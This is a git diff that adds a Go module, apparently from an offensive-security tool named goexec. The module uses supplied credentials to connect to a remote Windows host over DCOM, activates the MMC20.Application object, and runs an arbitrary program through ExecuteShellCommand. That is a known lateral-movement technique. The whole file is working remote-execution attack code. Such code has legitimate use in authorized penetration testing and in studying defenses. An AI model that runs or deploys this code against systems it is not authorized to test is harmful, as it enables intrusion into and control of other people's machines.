aboutsummaryrefslogtreecommitdiff
path: root/internal/exec/dcom/exec.go
diff options
context:
space:
mode:
Diffstat (limited to 'internal/exec/dcom/exec.go')
-rw-r--r--internal/exec/dcom/exec.go187
1 files changed, 187 insertions, 0 deletions
diff --git a/internal/exec/dcom/exec.go b/internal/exec/dcom/exec.go
new file mode 100644
index 0000000..297c26f
--- /dev/null
+++ b/internal/exec/dcom/exec.go
@@ -0,0 +1,187 @@
+package dcomexec
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "github.com/FalconOpsLLC/goexec/internal/client/dce"
+ "github.com/FalconOpsLLC/goexec/internal/exec"
+ "github.com/RedTeamPentesting/adauth"
+ guuid "github.com/google/uuid"
+ "github.com/oiweiwei/go-msrpc/dcerpc"
+ "github.com/oiweiwei/go-msrpc/midl/uuid"
+ "github.com/oiweiwei/go-msrpc/msrpc/dcom"
+ "github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0"
+ "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
+ "github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
+ "github.com/oiweiwei/go-msrpc/msrpc/dtyp"
+ "github.com/rs/zerolog"
+)
+
+const (
+ DefaultDcomEndpoint = "ncacn_ip_tcp:[135]"
+)
+
+var (
+ MmcUuid = uuid.MustParse("49B2791A-B1AE-4C90-9B8E-E860BA07F889")
+ ShellWindowsUuid = uuid.MustParse("9BA05972-F6A8-11CF-A442-00A0C90A8F39")
+ //RandUuid = uuid.MustParse("dc95cac4-0d74-49eb-8947-570ad52ef215")
+ RandCid = dcom.CID(*dtyp.GUIDFromUUID(uuid.MustParse(guuid.NewString())))
+ IDispatchIID = &dcom.IID{
+ Data1: 0x20400,
+ Data2: 0x0,
+ Data3: 0x0,
+ Data4: []byte{0xc0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x46},
+ }
+ ComVersion = &dcom.COMVersion{
+ MajorVersion: 5,
+ MinorVersion: 7,
+ }
+ MmcClsid = dcom.ClassID(*dtyp.GUIDFromUUID(MmcUuid))
+ ORPCThis = &dcom.ORPCThis{
+ Version: ComVersion,
+ CID: &RandCid,
+ }
+)
+
+func (mod *Module) Connect(ctx context.Context, creds *adauth.Credential, target *adauth.Target, ccfg *exec.ConnectionConfig) (err error) {
+
+ log := zerolog.Ctx(ctx).With().
+ Str("method", ccfg.ConnectionMethod).
+ Str("func", "Exec").Logger()
+
+ if ccfg.ConnectionMethod == exec.ConnectionMethodDCE {
+ if cfg, ok := ccfg.ConnectionMethodConfig.(dce.ConnectionMethodDCEConfig); !ok {
+ return fmt.Errorf("invalid configuration for DCE connection method")
+ } else {
+ opts := []dcerpc.Option{dcerpc.WithSign(), dcerpc.WithSecurityLevel(0)}
+
+ // Fetch target hostname
+ if mod.hostname, err = target.Hostname(ctx); err != nil {
+ log.Debug().Err(err).Msg("Failed to get target hostname")
+ opts = append(opts, dcerpc.WithTargetName(mod.hostname))
+ }
+ // Create DCE connection
+ if mod.dce, err = cfg.GetDce(ctx, creds, target, DefaultDcomEndpoint, "", opts...); err != nil {
+ log.Error().Err(err).Msg("Failed to initialize DCE dialer")
+ return fmt.Errorf("create DCE dialer: %w", err)
+ }
+
+ inst := &dcom.InstantiationInfoData{
+ ClassID: &MmcClsid,
+ IID: []*dcom.IID{IDispatchIID},
+ ClientCOMVersion: ComVersion,
+ }
+ scm := &dcom.SCMRequestInfoData{
+ RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{
+ RequestedProtocolSequences: []uint16{7},
+ },
+ }
+ loc := &dcom.LocationInfoData{}
+ ac := &dcom.ActivationContextInfoData{}
+ ap := &dcom.ActivationProperties{
+ DestinationContext: 2,
+ Properties: []dcom.ActivationProperty{inst, ac, loc, scm},
+ }
+ apin, err := ap.ActivationPropertiesIn()
+ if err != nil {
+ return err
+ }
+ act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, mod.dce)
+ if err != nil {
+ return err
+ }
+ cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{
+ ORPCThis: &dcom.ORPCThis{
+ Version: ComVersion,
+ Flags: 1,
+ CID: &RandCid,
+ },
+ ActPropertiesIn: apin,
+ })
+ if err != nil {
+ return err
+ }
+ log.Info().Msg("RemoteCreateInstance succeeded")
+
+ apout := &dcom.ActivationProperties{}
+ if err = apout.Parse(cr.ActPropertiesOut); err != nil {
+ return err
+ }
+ si := apout.SCMReplyInfoData()
+ pi := apout.PropertiesOutInfo()
+
+ if si == nil {
+ return fmt.Errorf("remote create instance response: SCMReplyInfoData is nil")
+ }
+ if pi == nil {
+ return fmt.Errorf("remote create instance response: PropertiesOutInfo is nil")
+ }
+ oIPID := pi.InterfaceData[0].IPID()
+
+ opts = append(opts, si.RemoteReply.OXIDBindings.EndpointsByProtocol("ncacn_ip_tcp")...)
+ mod.dce, err = cfg.GetDce(ctx, creds, target, DefaultDcomEndpoint, "", opts...)
+ if err != nil {
+ return err
+ }
+ log.Info().Msg("created new DCERPC dialer")
+
+ mod.dc, err = idispatch.NewDispatchClient(ctx, mod.dce, dcom.WithIPID(oIPID))
+ if err != nil {
+ return err
+ }
+ log.Info().Msg("created IDispatch client")
+ }
+ }
+ return
+}
+
+func (mod *Module) Exec(ctx context.Context, ecfg *exec.ExecutionConfig) (err error) {
+
+ log := zerolog.Ctx(ctx).With().
+ Str("method", ecfg.ExecutionMethod).
+ Str("func", "Exec").Logger()
+
+ if ecfg.ExecutionMethod == MethodMmc {
+ if cfg, ok := ecfg.ExecutionMethodConfig.(MethodMmcConfig); !ok {
+ return errors.New("invalid configuration")
+
+ } else {
+ // https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand
+ method := "Document.ActiveView.ExecuteShellCommand"
+ log = log.With().Str("classMethod", method).Logger()
+
+ log.Info().
+ Str("executable", ecfg.ExecutableName).
+ Str("arguments", ecfg.ExecutableArgs).Msg("Attempting execution")
+
+ command := &oaut.Variant{
+ Size: 5,
+ VT: 8,
+ VarUnion: &oaut.Variant_VarUnion{Value: &oaut.Variant_VarUnion_BSTR{BSTR: &oaut.String{Data: ecfg.ExecutableName}}},
+ }
+ directory := &oaut.Variant{
+ Size: 5,
+ VT: 8,
+ VarUnion: &oaut.Variant_VarUnion{Value: &oaut.Variant_VarUnion_BSTR{BSTR: &oaut.String{Data: cfg.WorkingDirectory}}},
+ }
+ parameters := &oaut.Variant{
+ Size: 5,
+ VT: 8,
+ VarUnion: &oaut.Variant_VarUnion{Value: &oaut.Variant_VarUnion_BSTR{BSTR: &oaut.String{Data: ecfg.ExecutableArgs}}},
+ }
+ windowState := &oaut.Variant{
+ Size: 5,
+ VT: 8,
+ VarUnion: &oaut.Variant_VarUnion{Value: &oaut.Variant_VarUnion_BSTR{BSTR: &oaut.String{Data: cfg.WindowState}}},
+ }
+ // Arguments must be passed in reverse order
+ if _, err := callMethod(ctx, mod.dc, method, windowState, parameters, directory, command); err != nil {
+ log.Error().Err(err).Msg("Failed to call method")
+ return fmt.Errorf("call %q: %w", method, err)
+ }
+ log.Info().Msg("Method call successful")
+ }
+ }
+ return nil
+}